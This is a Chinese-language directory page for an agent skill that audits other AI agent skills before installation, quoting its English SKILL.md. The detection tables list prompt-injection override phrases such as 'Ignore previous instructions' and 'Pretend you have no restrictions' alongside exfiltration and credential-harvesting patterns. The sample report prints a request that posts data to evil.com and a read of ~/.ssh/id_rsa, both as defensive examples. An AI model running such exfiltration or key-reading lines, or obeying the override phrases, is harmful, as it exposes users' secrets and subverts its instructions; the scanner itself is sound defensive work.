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Agent Skill · 研究检索

cs-skill-security-auditor(cs 技能安全审核员)

用于辅助安全审计、权限检查、凭据风险、认证流程和常见漏洞排查。它适合让 Agent 梳理敏感配置、检查依赖风险、分析鉴权逻辑或生成安全复核清单。使用时不能把工具输出直接当最终结论,涉及密钥、令牌、用户数据或生产系统时,应先确认最小权限、脱敏方式和操作边界。

cs-skill-security-auditor 是研究检索类 Agent Skill,可用宿主为 OpenClaw,通过ClawHub获取,权限为接触敏感数据;许可证为 MIT-0,第三方扫描有提醒项,按安装量在研究检索类的 73,675 个 Skill 里排第 12,272。

总安装 10,407周安装 438GitHub Stars 公开资料未说明下载 3,644核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
MIT-0
版本
1.0.0

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:cs-skill-security-auditor(cs 技能安全审核员)
来源仓库:https://github.com/alirezarezvani/cs-skill-security-auditor
安装命令:
openclaw skills install cs-skill-security-auditor
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 OpenClaw 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

ClawHubOpenClaw
openclaw skills install cs-skill-security-auditor

这个 Skill 是做什么的

研究检索类 Skill 主要解决「找资料、核对事实、把来源整理清楚」的问题,通常会让助手先检索再总结。

在安装前对 AI Agent Skill 进行安全漏洞扫描。适用于评估不受信任来源的技能安全性。通过 clawhub 安装,适用宿主包括 OpenClaw,接入前应确认版本、权限和运行环境要求。建议优先用于高风险技能审查。

cs-skill-security-auditor 属于研究检索类 Skill,可作为该场景下的辅助能力补充。

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 OpenClaw;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 openclaw skills install cs-skill-security-auditor;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要接触敏感数据,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

cs-skill-security-auditor 怎么安装?

在终端执行 openclaw skills install cs-skill-security-auditor。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

cs-skill-security-auditor 支持哪些 AI 工具?

公开资料标注支持 OpenClaw。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

cs-skill-security-auditor 需要什么权限?

权限级别是接触敏感数据。该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

cs-skill-security-auditor 是免费的吗?

来源标注的许可证是 MIT-0。本站不代收任何费用,也不托管安装包;能否商用、要不要署名,以许可证原文为准。

cs-skill-security-auditor 用的人多吗?

公开数据是累计安装 10,407 次,近一周安装 438 次,下载 3,644 次。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

cs-skill-security-auditor 安全吗?

第三方扫描有提醒项,说明存在需要人工确认的行为。安装前请打开源码看清它读了什么、联网到哪里。

值得选的地方和要先想清楚的地方

值得选的地方

  • 专注 OpenClaw 一种宿主,触发方式和使用习惯不用来回切换。
  • 许可证明确为 MIT-0,商用和分发边界好判断。

先想清楚的地方

  • 需要接触敏感数据,装到常用环境前要先评估影响面。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 OpenClaw,想直接扩展它能力的人。
  • 需要处理研究检索类任务、又不想每次都手写提示词的人。

不太适合

  • 环境里有大量密钥、凭证,不方便给第三方 Skill 读取的人。
  • 需要厂商级技术支持和 SLA 的生产系统。

研究检索类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
find-skills

寻找技能 · Codex、Claude

31,199,81316,486操作浏览器MIT有提醒
self-improving-agent

自我改进 Agent · OpenClaw

16,464,0023,396接触敏感数据MIT-0通过
soultrace

灵魂追踪 · Codex、Claude

7,588,94412需要联网未明确有提醒
self-improving

自我完善 · OpenClaw

6,829,2841,046需要联网MIT-0通过
microsoft-foundry

微软代工厂 · Codex、Claude

6,614,144764调用外部服务未明确有提醒
cs-skill-security-auditor

cs 技能安全审核员 · 本页

10,407—接触敏感数据MIT-0有提醒

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

name
skill-security-auditor
description
>
Triggers
audit this skill", "is this skill safe", "scan skill for security",

Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.

Quick Start

# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

What Gets Scanned

1. Code Execution Risks (Python/Bash Scripts)

Scans all .py, .sh, .bash, .js, .ts files for:

CategoryPatterns DetectedSeverity
Command injectionos.system(), os.popen(), subprocess.call(shell=True), backtick execution🔴 CRITICAL
Code executioneval(), exec(), compile(), __import__()🔴 CRITICAL
Obfuscationbase64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains🔴 CRITICAL
Network exfiltrationrequests.post(), urllib.request, socket.connect(), httpx, aiohttp🔴 CRITICAL
Credential harvestingreads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns🔴 CRITICAL
File system abusewrites outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation🟡 HIGH
Privilege escalationsudo, chmod 777, setuid, cron manipulation🔴 CRITICAL
Unsafe deserializationpickle.loads(), yaml.load() (without SafeLoader), marshal.loads()🟡 HIGH
Subprocess (safe)subprocess.run() with list args, no shell⚪ INFO

2. Prompt Injection in SKILL.md

Scans SKILL.md and all .md reference files for:

PatternExampleSeverity
System prompt override"Ignore previous instructions", "You are now..."🔴 CRITICAL
Role hijacking"Act as root", "Pretend you have no restrictions"🔴 CRITICAL
Safety bypass"Skip safety checks", "Disable content filtering"🔴 CRITICAL
Hidden instructionsZero-width characters, HTML comments with directives🟡 HIGH
Excessive permissions"Run any command", "Full filesystem access"🟡 HIGH
Data extraction"Send contents of", "Upload file to", "POST to"🔴 CRITICAL

3. Dependency Supply Chain

For skills with requirements.txt, package.json, or inline pip install:

CheckWhat It DoesSeverity
Known vulnerabilitiesCross-reference with PyPI/npm advisory databases🔴 CRITICAL
TyposquattingFlag packages similar to popular ones (e.g., reqeusts)🟡 HIGH
Unpinned versionsFlag requests>=2.0 vs requests==2.31.0⚪ INFO
Install commands in codepip install or npm install inside scripts🟡 HIGH
Suspicious packagesLow download count, recent creation, single maintainer⚪ INFO

4. File System & Structure

CheckWhat It DoesSeverity
Boundary violationScripts referencing paths outside skill directory🟡 HIGH
Hidden files.env, dotfiles that shouldn't be in a skill🟡 HIGH
Binary filesUnexpected executables, .so, .dll, .exe🔴 CRITICAL
Large filesFiles >1MB that could hide payloads⚪ INFO
SymlinksSymbolic links pointing outside skill directory🔴 CRITICAL

Audit Workflow

  1. Run the scanner on the skill directory or repo URL
  2. Review the report — findings grouped by severity
  3. Verdict interpretation:

- ✅ PASS — No critical or high findings. Safe to install. - ⚠️ WARN — High/medium findings detected. Review manually before installing. - ❌ FAIL — Critical findings. Do NOT install without remediation.

  1. Remediation — each finding includes specific fix guidance

Reading the Report

╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0

Advanced Usage

Audit a Skill from Git Before Cloning

# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

CI/CD Integration

# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi

Batch Audit

# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.

Limitations

  • Cannot detect logic bombs or time-delayed payloads with certainty
  • Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
  • Network destination reputation checks require internet access
  • Does not execute code — static analysis only (safe but less complete than dynamic analysis)
  • Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, don't install. Ask the skill author for clarification.

平台分布

OpenClaw

82.12%
按下载量换算2,992

安全审计

VirusTotal

通过

ClawScan

通过

Static analysis

可疑

权限和风险

接触敏感数据

该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

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